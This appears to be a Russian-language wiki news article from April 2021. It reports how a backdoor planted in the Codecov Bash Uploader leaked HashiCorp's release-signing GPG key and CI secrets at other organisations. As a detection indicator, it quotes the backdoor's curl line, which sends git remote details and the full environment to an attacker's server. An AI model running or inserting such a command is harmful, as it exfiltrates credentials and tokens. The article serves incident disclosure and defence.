Внедрение вредоносного кода в скрипт Codecov привело к компрометации PGP-ключа HashiCorp
27 апреля 2021 года
Компания HashiCorp, известная разработкой открытых инструментариев Vagrant, Packer, Nomad и Terraform, объявила об утечке закрытого GPG-ключа, используемого для создания цифровых подписей, верифицирующих релизы. Атакующие, получившие доступ к GPG-ключу, потенциально могли внести скрытые изменения в продукты HashiCorp, заверив их корректной цифровой подписью. При этом компания заявила, что в ходе проведённого аудита следов попыток внесения подобных модификаций не выявлено.
В настоящее время скомпрометированный GPG-ключ отозван и вместо него введён в обиход новый ключ. Проблема затронула только верификацию при помощи файлов SHA256SUM и SHA256SUM.sig, и не коснулась формирования цифровых подписей для Linux-пакетов DEB и RPM, поставляемых через releases.hashicorp.com, а также механизмы подтверждения выпусков для macOS и Windows (AuthentiCode).
Утечка произошла из-за использования в инфраструктуре скрипта Codecov Bash Uploader ( codecov-bash), предназначенного для загрузки coverage-отчётов из систем непрерывной интеграции. В ходе атаки на компанию Codecov в указанный скрипт был скрыто внедрён бэкдор, через который была организована отправка паролей и ключей шифрования на сервер злоумышленников.
Для взлома атакующие воспользовались ошибкой в процессе создания Docker-образа Codecov, позволявшей извлечь данные для доступа к GCS (Google Cloud Storage), необходимые для внесения изменений в скрипт Bash Uploader, распространявшийся с сайта codecov.io. Изменения были внесены ещё 31 января, два месяца оставались незамеченными и позволяли злоумышленникам извлекать информацию, хранимую в окружениях систем непрерывной интеграции клиентов. В том числе при помощи добавленного вредоносного кода злоумышленники могли получить информацию о тестируемом Git-репозитории и доступ к любым токенам, ключам шифрования и паролям, передаваемым в системы непрерывной интеграции для организации доступа к коду приложений, хранилищам и сервисам.
Кроме прямого вызова скрипт Codecov Bash Uploader использовался в составе других загрузчиков, таких как Codecov-action (Github), Codecov-circleci-orb и Codecov-bitrise-step, пользователи которых также подвержены проблеме. Всем пользователям codecov-bash и связанных с ним продуктов рекомендовано провести аудит своих инфраструктур, а также же поменять пароли и ключи шифрования. Проверить наличие бэкдора в скрипте можно по наличию в нём строки
curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http://<IP-сервера-атакующих>/upload/v2 || true
Источники[править]
Любой участник может оформить статью: добавить иллюстрации, викифицировать, заполнить шаблоны и добавить категории.
Любой редактор может снять этот шаблон после оформления и проверки.
Комментарии[править]
Если вы хотите сообщить о проблеме в статье (например, фактическая ошибка и т. д.), пожалуйста, используйте обычную страницу обсуждения.
Комментарии на этой странице могут не соответствовать политике нейтральной точки зрения, однако, пожалуйста, придерживайтесь темы и попытайтесь избежать брани, оскорбительных или подстрекательных комментариев. Попробуйте написать такие комментарии, которые заставят задуматься, будут проницательными или спорными. Цивилизованная дискуссия и вежливый спор делают страницу комментариев дружелюбным местом. Пожалуйста, подумайте об этом.
Несколько советов по оформлению реплик:
- Новые темы начинайте, пожалуйста, снизу.
- Используйте символ звёздочки «*» в начале строки для начала новой темы. Далее пишите свой текст.
- Для ответа в начале строки укажите на одну звёздочку больше, чем в предыдущей реплике.
- Пожалуйста, подписывайте все свои сообщения, используя четыре тильды (~~~~). При предварительном просмотре и сохранении они будут автоматически заменены на ваше имя и дату.
Обращаем ваше внимание, что комментарии не предназначены для размещения ссылок на внешние ресурсы не по теме статьи, которые могут быть удалены или скрыты любым участником. Тем не менее, на странице комментариев вы можете сообщить о статьях в СМИ, которые ссылаются на эту заметку, а также о её обсуждении на сторонних ресурсах.